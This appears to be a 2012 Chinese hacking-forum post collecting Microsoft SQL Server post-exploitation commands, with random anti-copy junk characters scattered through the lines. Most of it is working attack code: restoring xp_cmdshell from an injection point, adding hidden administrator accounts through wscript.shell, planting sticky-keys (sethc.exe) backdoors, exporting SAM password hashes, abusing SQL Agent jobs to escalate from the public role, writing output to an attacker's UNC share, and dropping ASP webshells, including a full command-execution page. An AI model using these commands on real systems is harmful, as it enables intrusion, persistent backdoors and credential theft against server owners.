中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
; P- X7 q8 e+ ]2 a5 j$ \  o恢复方法:查询分离器连接后,
1 s3 A/ Z! }2 L2 j( s第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
0 ?6 M$ s# F- ~; I9 u. w第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' * j: k. g5 ^  U& o
然后按F5键命令执行完毕
1 b. r8 h' v. c& d" ~/ a4 X
9 C4 [. [4 i' e& n* X2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
2 q/ N7 f& e, M# ]9 _恢复方法:查询分离器连接后,
- I$ L) z3 @& `" P& `, ]第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"" _3 P1 O, W0 b- B, U7 Q
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 a! W- t/ D; g然后按F5键命令执行完毕9 ^$ P5 ]: p2 x- k( _

1 X% W7 w3 N! w3 V3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)7 i  ~1 G4 \6 U: U  f* F3 G
恢复方法:查询分离器连接后,/ P; u. p! H1 j! a# n
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
; f  B0 I, x! \$ Z% A第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
8 a( ^$ G4 m  O+ F8 b; ?3 `然后按F5键命令执行完毕
* ^5 |9 g4 z" B" l) K% N' {9 q! {' h" l# g+ ~* H
4 终极方法.) c* o$ b) Z; n1 {4 J2 h
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
# ^9 |" Q6 Y* P. z+ g; O  A" s0 U查询分离器连接后,0 V$ N/ ]4 u+ r' q. S( v
2000servser系统:
( G) i. q$ w; G; N$ f# M9 l$ B: fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'. p% ^; d1 ?$ ]7 D3 m) M

! B, g) i2 @; [) kdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add', P9 R; y8 h% ]9 v
) i8 V8 L0 q& B( O
xp或2003server系统:
+ o+ d$ `8 Y! L: f, ?
$ e8 G& A$ {6 N& ~1 H4 |1 pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
* C9 U, K4 J) i" p) l# I' s# z; J" H1 T, D
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'* o3 Z8 R, f! ^

$ @2 R% s' U' q5 f" T) r; O; D% d
五个SHIFT
4 a; G0 x) a* B; ^# M5 }& zdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
/ }6 ~( p" @& o9 }+ t1 H
7 F' k) c% _2 {3 J$ j* Y3 odeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; : c0 i' D5 z9 N7 \; `% g

  z5 r* h& E7 a, Kxp_cmdshell执行命令另一种方法
" B- I# j) L% ~- i# V  {& g) a# rdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 6 q$ ^, e+ s' q. D

& N% Z1 z$ h7 {5 s0 z判断存储扩展是否存在+ O# X/ G$ [6 g
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'! ]2 R: N. g* V% Z& J( c
返回结果为1就OK
6 _9 {  O% P$ A3 m3 w9 P
3 `9 K8 B; T" `* F6 V
6 J# d4 L2 |! g/ D: ^% c上传xplog70.dll恢复xp_cmdshell语句:
* }" |/ g' G' J: M& a. ~sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'0 W& g' z  x8 Y& m
: Q; U# n: S7 r2 X4 k# j
否则上传xplog7.0.dll4 B- \. F) m; z) f3 H$ h) c% [
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
& d, a, c$ X, I1 n6 i7 i$ N
+ v. C/ ^6 K' U" D+ H  H; }
1 [+ G0 M8 v2 u) Y9 _' S; `7 k3 M: H; u1 c! x. D2 V$ Z5 G! K
首先开启沙盘模式:
7 {4 Q% s* I8 _( t" m  s  C; V/ xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 K2 ?' R: W# C9 @( [5 o

! k4 W0 R: m- j2 j1 N# p  H然后利用jet.oledb执行系统命令
( w' g, m1 U" {0 I+ J3 l+ Wselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
" T" y- H  y4 X9 f7 r% {返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了) J, \5 ]1 {: {) G; i. r5 L
$ h8 \/ k  t7 t% s* A

' U# C; }9 m4 o
$ t( ^6 `8 E" }* A/ m$ b7 }恢复过程sp_addextendedproc 如下:
$ H* ]$ g% [0 [8 xcreate procedure sp_addextendedproc --- 1996/08/30 20:13 # G( H, T$ o- T' O/ Q8 ~
@functname nvarchar(517),/* (owner.)name of function to call */
$ v+ v) x, }5 ~) `# _, b0 \) _@dllname varchar(255)/* name of DLL containing function */ , d- Q3 _4 W) R1 @% H; d
as ( r$ C6 L* V% a/ x3 g" S
set implicit_transactions off   h9 k2 y  I* _$ U( l! F' w, A
if @@trancount > 0 : H7 H% `2 i4 A
begin
) |) ]8 u& N9 E9 Yraiserror(15002,-1,-1,'sp_addextendedproc') ) W+ }/ w$ r7 z
return (1)
  |  {( |. b) g3 a  e2 v, Lend . ]2 k$ n4 p* H" N
dbcc addextendedproc( @functname, @dllname) 3 W5 C% e! P- D
return (0) -- sp_addextendedproc 9 u* g- U- V  E, e  A3 r9 h
GO ) a" g- g/ c$ }2 F9 o" @$ B

) l+ M9 t2 |* K$ I& U9 s+ N5 T  W) Z( L% T+ t8 ?; |

+ M) P3 i) t& A% R, v( \8 W导出管理员密码文件
; a& T% w7 y7 ^4 M1 xsa默认可以读sam键.应该。: `8 _! k) q1 y7 {
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
* @1 V6 ^* I1 \, b1 inet user administrator test9 q) u, v# s' A7 b# D! @  n9 h: `
用administrator登陆.
) s5 L% n4 h5 \" j用完机器后$ Y9 |4 ~$ y1 a3 A
reg import c:\test.reg
8 s  E3 P8 k) @- l7 E根本不用克隆.
& ~* \3 |5 b, }9 d找到对应的sid.
' U1 G) f% Z9 ]$ V' v
6 y% Q3 s7 T: W7 }# a( x( T" H
. W4 M% j$ n  b
恢复所有存储过程
7 r! M# q. ^/ Q. p, I+ S; ~use master
3 M4 i7 E5 T( Q8 L/ x9 e- O! Jexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
# ], }& q$ ^% {4 [& gexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
4 D" z2 @: s7 I% T+ j1 v8 O) K+ vexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
! h! i, _& }: p" J- B$ ?- oexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
8 F( c% d9 G& k5 z; Z, hexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' " a- ~+ {; G2 o" g- Q0 g( A- z' j. E. ]
exec sp_addextendedproc sp_OACreate,'odsole70.dll' ( X$ O6 d! @- A, g' ~7 E7 ]: B
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
3 i2 Z' f1 n: \% k, ]exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
2 k; j( x! n2 l$ x: Rexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' - M* n+ b  i+ a  q! u( G
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ; S) X, g% k: K
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' / c( m& I: f, U" |
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ! A/ m4 x# m. Y4 Z7 X
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
+ B6 u! }2 k9 u! x6 ^exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
  G# {! |" D, J3 l  ?exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
6 _# d; N6 u+ E: p% M; xexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
" m: u1 J) D. Q/ ^. x' x2 Xexec sp_addextendedproc xp_regread,'xpstar.dll' ( j5 \/ g7 R$ Q- w' F2 @9 `2 U" ?
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' . Y* b3 s( ~0 }7 g  r; Z
exec sp_addextendedproc xp_regwrite,'xpstar.dll' & h: N0 a" C# b6 _4 ]
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'" \( z3 i. m: l

1 r5 u" c* r' P6 |: E& v# U
+ i# x. v) f1 u. ^' \8 Z2 E! ]建立读文件的存储过程% w! }9 F/ J' \: }: l) k! @& R
Create proc sp_readTextFile @filename sysname; x) |: E) q' h  F5 J6 b3 K
as
0 \! ?+ ^+ A4 |) i$ a
2 m# @3 B9 v) Q, a  E+ M1 G+ k, b    begin
5 l9 M1 ]9 }% q" c8 S    set nocount on 9 ]8 w- l0 X# Y' n3 r
    Create table #tempfile (line varchar(8000))
% X5 ~0 m3 f" C  V- C% n    exec ('bulk insert #tempfile from "' + @filename + '"')
$ W& b/ s5 y: b. m' y* l    select * from #tempfile- A* s0 V1 r+ ^1 f
    drop table #tempfile/ H& @4 {  \7 ?
End) X; Q: B) K1 D  |

/ n& E- K7 i- x, F( Z. a7 w1 Uexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
; \  g$ b' v3 V! b- I, F查看登录用户
) n8 e4 m6 Z7 N% W% D& X: JSelect * from sysxlogins4 `* i" H- p0 f  w% ]4 Q% ~9 Z
- |$ H! P" j- c# O! W
把文件内容读取到表中
# y, P: _  i, K3 E% JBULK INSERT tmp from "c:\test.txt". ^  W: H" ]; t& z- c, q3 T
dElete from 表名 清理表里的内容# p% y; q0 U/ F" u8 D6 U' H' X
create table b_test(fn nvarchar(4000));建一个表,字段为fn
% q% O% I' Y  F! V% a% s- W: d( W
8 Q5 \& F& W! F' T6 v% T
8 t, G. q% Q! L5 n% \/ l! B加sa用户
3 V2 W4 z) }' Zexec master.dbo.sp_addlogin user,pass;% u: ]  h" ]& ]2 \" t5 M
exec master.dbo.sp_addsrvrolemember user,sysadmin
5 ]3 u6 N$ x7 ]1 w7 V- a, Z3 i! ~0 P/ z: x  R0 X9 a7 `
1 p: {1 ]& t  x, c

# N1 d* v; J7 i9 A8 |4 j6 V读文件代码+ M' `: q- A, u- l
declare @o int, @f int, @t int, @ret int
1 \- C1 q$ A! d! Ideclare @line varchar(8000)
' J  A3 W" D4 P8 uexec sp_oacreate 'scripting.filesystemobject', @o out" u/ Y  i( o- R" n, h" p  F
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
5 ~; |6 Q3 S( |1 H: }. [exec @ret = sp_oamethod @f, 'readline', @line out7 F7 v7 T: \% \6 S: ^6 }
while( @ret = 0 )- Y* I+ @6 M" L2 z4 c( X* {- O  {! [0 l
begin
4 b( c; s3 b" \. q# Cprint @line3 d$ U- C9 d. S- U5 Z
exec @ret = sp_oamethod @f, 'readline', @line out
( n2 |; z3 X* G% u+ Y0 b0 {end* X% z# z! L, S0 N) ^
0 q6 D; a' r; R1 p3 A* T, X1 d2 A
6 ?. Y: O+ w$ R* o. ]0 D% `
写文件代码:1 x! T$ o+ F9 e" o% }
declare @o int, @f int, @t int, @ret int- m+ f! |. {# ^. B: s$ l; Z) D; a
exec sp_oacreate 'scripting.filesystemobject', @o out* ?& C/ S1 P' O) j4 r
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
- t/ A- T7 e  d6 T8 r+ Xexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
; U" @0 I% l: `6 @
3 ]. r3 S2 @0 C4 J* C& o/ I* x0 b- r% z: h& K
添加lake2 shell7 \  d, |- a6 ~$ N
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'* \1 ^2 N/ i, [( L% i
sp_dropextendedproc xp_lake2
) x" |  n" }1 ?7 E/ V1 hEXEC xp_lake2 'net user'
, K3 Z& D8 ~. S+ \7 [# E! d* t% F1 e* a2 s. o  j4 o9 T  a

7 B8 o% u6 A" Q% |4 v, h得到硬盘文件信息
  ~7 {9 q9 f* ^8 ?/ M' e. X5 ~--参数说明:目录名,目录深度,是否显示文件 $ y$ \" {% o$ q- k  b* c
execute master..xp_dirtree 'c:'
# F3 B# B4 |# l3 Wexecute master..xp_dirtree 'c:',1 8 \" `+ W+ i5 \3 m6 T( m8 m
execute master..xp_dirtree 'c:',1,1 + J. V, F' }, d1 e3 F" h% Q" O8 J9 n

" g- m$ B: w9 E( k5 R; {$ s: }1 n+ k3 U: S% r9 b
读serv-u配置信息
. h: x+ ^( ~- e/ e% y$ sexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt') k: G, Y8 b) t
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
/ [. H: j" v; ]7 t* b! X; _) K0 ]$ c- O. _
通过xp_regwrite写SHIFT后门; O  g5 y6 z! v1 _7 U1 b) T
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
& k- T6 w2 H, n3 A: m+ R! J- s( T% A! M

: d$ f0 F4 t( a% _* x; G. s' c+ i$ T- o  o! f
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';4 C0 g# {' Z! b7 z; g
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了. {: ^  N% {" F2 Q& ]8 I9 b

3 h7 J3 \8 T6 Y# Q/ x7 {EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'. G; j6 H( N. C+ x/ L( r

, D5 j& M: T+ j+ Z2 y
8 y* J7 @6 A$ R  L2 n3 B$ `# z' Y& @3 l4 y; c9 l
sql server 2005下开启xp_cmdshell的办法* f$ T* E, G4 C+ N2 H  L% t

: h8 F, x7 N, C5 ]4 fEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
: b+ C2 G" F& U$ O0 K- b( V' P8 o
SQL2005开启'OPENROWSET'支持的方法:5 `6 V3 Z8 s+ C) V4 z3 g
0 s6 J/ F$ H! x, I5 l* L
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
+ H) ?: l: i* a6 T( Y+ [' v/ [- K0 n. G* b8 J* q8 C/ H! m: b* d
SQL2005开启'sp_oacreate'支持的方法:
' ]* G% q4 _9 Q! t7 F& O8 f! B0 k1 j( s& t: D
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;' O: F# W5 m. v

5 o* z3 T& B. ^5 M- `$ v6 ?) a  \+ X" ~, J( F
; n6 u* C) F$ j8 m
! x1 u; b& Q( g1 s1 a; M2 O
. b8 V5 I, Q9 q4 S6 P

$ W, e6 _6 l0 U+ B. D3 _0 y' {9 I3 X% s
5 m: L* p5 P6 t. T. e3 Q1 f

" K0 N& B: q# @. d) X; @
7 B  E) `9 H6 O1 W$ s0 }$ G
1 ~' z: H# b* W1 h9 m" t4 v/ y) w1 ]2 ?0 q& k" H! ^' e2 P* v% e

  {* z4 b  _( Q7 n5 q3 l
2 ?7 ^8 O" C. O3 K/ T7 \3 h+ @2 C9 a) P' q

: y) p+ `. ]" r1 |: O" U8 s5 h9 a4 M# E& X* g! ?1 d
9 W/ X* `( N+ z! i6 ^1 q

, C  Y$ `9 J( _6 f
; j0 a; D2 \9 \/ T9 N6 B
1 d/ [: q3 ~" Y4 N* N9 g3 g) c* x
  J( h# q2 a5 \- g5 b6 L( m9 R9 S
1 w9 T9 u* \7 u6 H; i% z2 P: b3 C" d. g; ~
以下方面不知道能不能成功暂且留下研究哈:8 R+ U- x8 n( o
4)
1 x  Q  @, G& b: ~; yuse msdb; --这儿不要是master哟7 h) H' s8 c' _/ \. m* r. \
exec sp_add_job @job_name= czy82 ;
, x4 Q7 a' I3 `2 F: J) Uexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
- Y/ s* e$ _% ~" zexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
6 U& s6 d4 R6 Fexec sp_start_job @job_name= czy82 ;
5 Z1 V8 s7 y) U  Z, x/ h& j  e+ t0 n- w
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
! J1 x! G! S; c  A执行tsql语句了.( O# s+ {0 @' l9 }- L# _
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名$ {. O! R( g/ I3 m4 x/ f
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
5 t2 N" T# Y" t/ @1 Qnet start SQLSERVERAGENT; Y/ B1 S$ h6 q; g
7 |; e/ [5 C: n8 v
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的! Q% [5 }+ ?8 V; |" ]5 R$ j
USE msdb
: @0 y9 N; k3 E* N# ?EXEC sp_add_job @job_name = GetSystemOnSQL ,5 o( N7 u. N- c; ~' }
@enabled = 1,
# }6 w8 @% Y7 ]" T+ I7 e2 l@description = This will give a low privileged user access to& v! t2 T# ?& v2 H
xp_cmdshell ,3 E: {$ q6 ~# }! V
@delete_level = 1
6 o! i) W. ?9 ^, d7 K9 \' yEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,; u' K" o( `5 ~7 s, D2 z% f$ l
@step_name = Exec my sql ,
" h$ u* |' G5 `7 k( l, u! S' _& L6 L! Q3 T@subsystem = TSQL ,9 f, T! I" Z5 K+ ]7 q& V
@command = exec master..xp_execresultset N select exec
2 w; Q/ x9 V8 v. nmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 2 C5 v# r( |6 Y5 \
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,6 R/ T: G) P' P
@server_name = 你的SQL的服务器名 5 X, g9 F# a( G( {
EXEC sp_start_job @job_name = GetSystemOnSQL
+ }5 C# X6 Q8 w9 p+ U/ N
3 d; R9 M, F7 l8 J' a不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
& A+ w9 @" w& {. S. X9 W( e3 Y5 ?) F才让我们可以以public执行xp_cmdshell
- q+ X: Q, r/ k5 `) d+ `" {9 d0 s9 ^9 r/ k3 |
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)9 o% Q& n2 L" f/ B( L" ]: t
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29686 P) h$ S# b; u9 c5 D# _( ^3 p- I
. }& d$ z' E, l" H) r  ^, A  T- `. j
USE msdb
2 ?0 N8 X$ s% E: Q) b- i7 M7 uEXEC sp_add_job @job_name = ArbitraryFilecreate ," c2 z* X  @/ U( S( @* U
@enabled = 1,
4 v) b( @9 z: Y) V. k: E) a  V@description = This will create a file called c:\sqlafc123.txt ,
2 H+ [+ s) l& i* J@delete_level = 1
$ B9 y/ t; H" I4 zEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,5 z; g/ L/ B6 \8 L0 v: i  h, m
@step_name = SQLAFC ,# z, C0 r3 G' Y
@subsystem = TSQL ,
# W3 U1 m; [. w@command = select hello, this file was created by the SQL Agent. ,
. x: j  H5 r# a5 w: G@output_file_name = c:\sqlafc123.txt
3 W1 n) Z3 r/ L! I6 ]; hEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,$ L2 s/ M2 p/ i
@server_name = SERVER_NAME
) D5 K/ x; O; _EXEC sp_start_job @job_name = ArbitraryFilecreate + }5 l8 X4 l- y0 @
5 ~1 T1 I9 o' x1 I% W* K8 x) u
如果subsystem选的是:tsql,在生成的文件的头部有如下内容* t- l9 P8 D' v- \! X* ?5 [

; ^( I" n) A8 o  B4 h??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19# P* M' }0 A6 F% ~6 m+ l+ d2 w5 p
----------------------------------------------3 b8 |8 h& q5 B/ K
hello, this file was created by the SQL Agent.2 E/ T5 M' W3 \6 P

/ C+ b! C9 Q$ p% T- y2 B& c(1 ?????)
, G4 L( e6 s( ?3 ^* y
7 E9 h+ m- q; }- T所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
& Y0 n* _1 g& g3 k- j+ ?( Z6 f命令的vbs文件到启动目录!2 Z3 E6 U1 A% a3 o& c
8 u8 {2 [7 ~% R4 d
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)( n2 t; z0 t. z# ~. m  {  b5 A
关于sp_MScopyscriptfile 看下面的例子* b: ]! E5 Y5 _  M  y0 Z% }4 ?& X& b
declare @command varchar(100)
$ H2 `) n" ]6 j+ |declare @scripfile varchar(200)
9 O4 e& M$ P3 b7 wset concat_null_yields_null off
( x, i$ |$ \9 ~, K, ~4 i7 S/ sselect @command= dir c:\ > "\\attackerip\share\dir.txt" : p6 C. K% g4 E9 ~
select @scripfile= c:\autoexec.bat > nul" | @command | rd "   \( |! B& T; o  _! Y7 E; w2 K3 ~+ k
exec sp_MScopyscriptfile @scripfile ,
9 ~: l6 o9 [4 T$ a# h7 D% k, c' m- @+ [8 h: e: ^
这两个东东都还在测试试哟
; ?( b- W* M/ H' e5 ?让MSSQL的public用户得到一个本机的web shell/ M6 i* j! v; t. r$ M$ T& X* `

# \1 O  O5 v- [; d3 k" w3 `8 gsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,* E( o) g+ f- o; Q& L5 h; \
--@query= select <img src=vbscript:msgbox(now())>
, x: M# W6 [1 u8 I; {9 n# l--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
) q$ K3 _4 t; p4 y8 S@query= select
, c: O) n! h; H. o" G  V1 [<%On Error Resume Next   i4 @( M, z4 \2 u) x
Set oscript = Server.createObject("wscript.SHELL") 4 j) h$ q/ j7 _6 V% P
Set oscriptNet = Server.createObject("wscript.NETWORK") ) Z$ h- H5 _+ u3 r& i+ T6 p  M
Set oFileSys = Server.createObject("scripting.FileSystemObject") $ C9 e' M6 ]5 z1 k  \
szCMD = Request.Form(".CMD") / n( Q- b: f: `; x% k" `3 T- T" x. o
If (szCMD <>"")Then
8 W& f2 a: Q$ d7 [, aszTempFile = "C:\" & oFileSys.GetTempName() # N9 u8 j5 q! v5 V' M
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
+ }+ S( Z1 B( s4 U- M' O: @8 }  dSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
4 w) t6 x2 m0 N9 N. jEnd If %>
0 ?/ @4 k) A/ I8 h& V+ V<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">   v$ h  E: Z9 z
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 7 n( X0 @2 L$ ^( g) X' z3 y0 J! H
</FORM><RE> 1 Z5 B# h3 c4 F/ l
<% If (IsObject(oFile))Then 5 O7 t' h& j1 O0 T4 ?3 t5 ^
On Error Resume Next : D9 p; f9 y6 ~& V- _
Response.Write Server.HTMLEncode(oFile.ReadAll)
0 d+ X8 q' q4 |$ D' JoFile.Close
- ^  L9 Q; d0 dCall oFileSys.deleteFile(szTempFile, True) " S; z* {2 s# A. n0 S
End If%> & q, J) L; x: ^3 D8 z5 x
</BODY></HTML>
( X) |! q/ p3 ^2 U




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2